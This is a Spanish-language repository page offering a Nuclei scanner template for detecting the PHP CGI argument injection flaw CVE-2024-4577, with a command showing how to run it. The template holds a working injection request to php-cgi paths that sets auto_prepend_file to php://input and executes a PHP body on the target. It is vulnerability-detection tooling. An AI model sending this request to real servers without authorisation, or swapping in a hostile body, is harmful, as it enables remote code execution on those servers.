huseyinstif/cve-2024-4577-nuclei-templatePlantilla de Nuclei para detectar la vulnerabilidad de inyección de argumentos PHP CGI CVE-2024-4577, permitiendo pruebas automatizadas de RCE a través de solicitudes HTTP manipuladas y coincidencia de respuestas.
Este repositorio contiene una plantilla Nuclei para detectar la vulnerabilidad de inyección de argumentos PHP CGI identificada como CVE-2024-4577.
id: CVE-2024-4577
info:
name: CVE-2024-4577 PHP CGI Argument Injection
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-4577 PHP CGI Argument Injection Vulnerability.
This template checks if the response contains "CVE_2024_4577_TEST" indicating a successful injection.
tags: cve,cve2024,php,cgi,rce,cve2024-4577
http:
- method: POST
path:
- "{{BaseURL}}/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/cgi-bin/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/php-cgi/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/index.test?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
headers:
User-Agent: "curl/8.3.0"
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
Connection: "keep-alive"
body: |
<?php echo md5("CVE_2024_4577_TEST"); ?>
matchers:
- type: word
part: body
words:
- "83946a388fdf6cd2707eed8550575a76"
Para usar esta plantilla con Nuclei, guarda el contenido de la plantilla en un archivo llamado CVE-2024-4577.yaml y ejecuta el siguiente comando:
nuclei -t CVE-2024-4577.yaml -u <target-url>
Reemplaza <target-url> con la URL del objetivo que deseas escanear.
Para cualquier consulta o información adicional, puedes contactarme a través de: